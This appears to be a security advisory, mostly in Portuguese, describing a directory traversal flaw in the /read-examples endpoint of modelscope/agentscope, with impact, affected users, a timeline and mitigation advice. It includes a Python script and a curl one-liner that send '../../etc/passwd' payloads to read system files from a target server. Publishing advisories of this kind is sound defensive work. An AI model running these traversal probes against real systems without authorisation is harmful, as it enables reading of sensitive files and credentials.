Travessia de Diretório em modelscope/agentscope

A exploração bem-sucedida desta vulnerabilidade permite que um atacante acesse arquivos JSON arbitrários no servidor. Isso pode levar à exposição de informações sensíveis, como chaves de API, configurações de banco de dados ou dados de usuários. O impacto potencial é alto, pois a leitura de arquivos confidenciais pode comprometer a integridade e a disponibilidade do sistema. A ausência de controles de acesso adequados no endpoint /read-examples facilita a exploração, tornando o ataque relativamente simples de executar.

Organizations using modelscope/agentscope in their Python applications, particularly those deploying it in environments where sensitive data is stored as JSON files, are at risk. This includes developers integrating agentscope into their AI workflows and those using it in shared hosting environments where file system access might be less restricted.

• python / server:

import requests

url = 'http://your-target-server/read-examples'
payload = {'file': '..//../../../../etc/passwd'}

response = requests.post(url, data=payload)

if 'root:' in response.text:
    print('Potential vulnerability detected!')
else:
    print('No vulnerability detected.')

• generic web:

curl -X POST http://your-target-server/read-examples -d 'file=../../../../etc/passwd' | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. Reservado2024-09-06
2. Publicada2025-03-20
3. Modificada2025-10-15
4. EPSS atualizado2026-04-02

A mitigação primária é atualizar para a versão corrigida de modelscope/agentscope assim que estiver disponível. Enquanto isso, implemente controles de acesso rigorosos no endpoint /read-examples, restringindo o acesso apenas a usuários autorizados. Considere a utilização de um Web Application Firewall (WAF) para filtrar requisições maliciosas e bloquear tentativas de Directory Traversal. Monitore os logs do servidor em busca de padrões suspeitos, como requisições com caminhos de arquivo incomuns.